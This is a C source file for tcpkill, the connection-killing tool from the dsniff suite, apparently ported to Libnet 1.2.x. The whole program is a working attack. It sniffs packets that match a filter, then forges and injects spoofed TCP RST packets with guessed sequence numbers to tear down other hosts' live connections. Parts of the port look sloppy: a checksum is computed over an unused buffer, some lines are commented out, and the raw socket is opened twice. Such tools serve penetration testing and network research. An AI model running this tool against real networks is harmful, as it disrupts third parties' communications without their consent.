/*
 * tcpkill.c
 *
 * Kill TCP connections already in progress.
 *
 * Copyright (c) 2000 Dug Song <dugsong@monkey.org>
 *
 * $Id: tcpkill.c,v 1.17 2001/03/17 08:10:43 dugsong Exp $
 *
 * Migrated to Libnet 1.2.x by Dotcom
 */

#include "config.h"

#include <sys/types.h>

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <err.h>
#include <libnet.h>
#include <pcap.h>

#include "pcaputil.h"
#include "version.h"

#define DEFAULT_SEVERITY	3

int	Opt_severity = DEFAULT_SEVERITY;
int	pcap_off;
libnet_t *l;
libnet_ptag_t tcp_id, ip_id;

static void
usage(void)
{
	fprintf(stderr, "Version: " VERSION "\n"
		"Usage: tcpkill [-i interface] [-1..9] expression\n");
	exit(1);
}

static void
tcp_kill_cb(u_char *user, const struct pcap_pkthdr *pcap, const u_char *pkt)
{
	struct libnet_ipv4_hdr *ip;
	struct libnet_tcp_hdr *tcp;
	u_char ctext[64], buf[LIBNET_IPV4_H + LIBNET_TCP_H];
	u_long seq;
	u_short win;
	int i, *sock, len;

	sock = (int *)user;
	pkt += pcap_off;
	len = pcap->caplen - pcap_off;

	ip = (struct libnet_ipv4_hdr *)pkt;
	if (ip->ip_p != IPPROTO_TCP)
		return;
	
	tcp = (struct libnet_tcp_hdr *)(pkt + LIBNET_IPV4_H);
	if (tcp->th_flags & (TH_SYN|TH_FIN|TH_RST))
		return;

	
	seq = ntohl(tcp->th_ack);
	win = ntohs(tcp->th_win);
	
	snprintf(ctext, sizeof(ctext), "%s:%d > %s:%d:",
		 libnet_addr2name4(ip->ip_src.s_addr, 0),
		 ntohs(tcp->th_sport),
		 libnet_addr2name4(ip->ip_dst.s_addr, 0),
		 ntohs(tcp->th_dport));
		 

	
	
	for (i = 0; i < Opt_severity; i++) {
		//ip->ip_id = libnet_get_prand(LIBNET_PRu16);
		seq += (i * win);

	//	++tcp_id;
	//	++ip_id;
		//tcp->th_seq = htonl(seq);
		tcp_id = libnet_build_tcp(ntohs(tcp->th_dport), ntohs(tcp->th_sport),
			 seq, 0, TH_RST, 0, 0, NULL, LIBNET_TCP_H, NULL,0,l,(libnet_ptag_t ) tcp_id);
	
	ip_id =	libnet_build_ipv4(LIBNET_TCP_H + LIBNET_IPV4_H, 0, libnet_get_prand(LIBNET_PRu16), 0, 64, IPPROTO_TCP,0,
			ip->ip_dst.s_addr, ip->ip_src.s_addr,0,
			0,l, ip_id);
	
		libnet_do_checksum(l,buf + LIBNET_IPV4_H, IPPROTO_TCP, LIBNET_TCP_H);
		
		if (libnet_write(l) < 0)
			warn("write_ip");
		
		fprintf(stderr, "%s R %lu:%lu(0) win %i\n", ctext, seq, seq,win);
	}
}

int
main(int argc, char *argv[])
{
	extern char *optarg;
	extern int optind;
	int c, sock;
	char *p, *intf, *filter, ebuf[PCAP_ERRBUF_SIZE];
	pcap_t *pd;
	
	intf = NULL;
	
            char errbuf[LIBNET_ERRBUF_SIZE];

            l = libnet_init(
                    LIBNET_RAW4,    /* or LIBNET_LINK or LIBNET_RAW6 */
                    NULL,           /* or device if you using LIBNET_LINK */
                    errbuf);
	
	while ((c = getopt(argc, argv, "i:123456789h?V")) != -1) {
		switch (c) {
		case 'i':
			intf = optarg;
			break;
		case '0': case '1': case '2': case '3': case '4':
		case '5': case '6': case '7': case '8': case '9':
			p = argv[optind - 1];
			if (p[0] == '-' && p[1] == c && p[2] == '\0')
				Opt_severity = atoi(++p);
			else
				Opt_severity = atoi(argv[optind] + 1);
			break;
		default:
			usage();
			break;
		}
	}
	if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)
		errx(1, "%s", ebuf);

	argc -= optind;
	argv += optind;
	
	if (argc == 0)
		usage();
	
	filter = copy_argv(argv);
	
	if ((pd = pcap_init(intf, filter, 64)) == NULL)
		errx(1, "couldn't initialize sniffing");

	if ((pcap_off = pcap_dloff(pd)) < 0)
		errx(1, "couldn't determine link layer offset");
	
	if ((sock = libnet_open_raw4(l)) == -1)
		errx(1, "couldn't initialize sending");
	
	libnet_seed_prand(l);
	
	warnx("listening on %s [%s]", intf, filter);
	
	pcap_loop(pd, -1, tcp_kill_cb, (u_char *)&sock);
  
	/* NOTREACHED */
	
	exit(0);
}
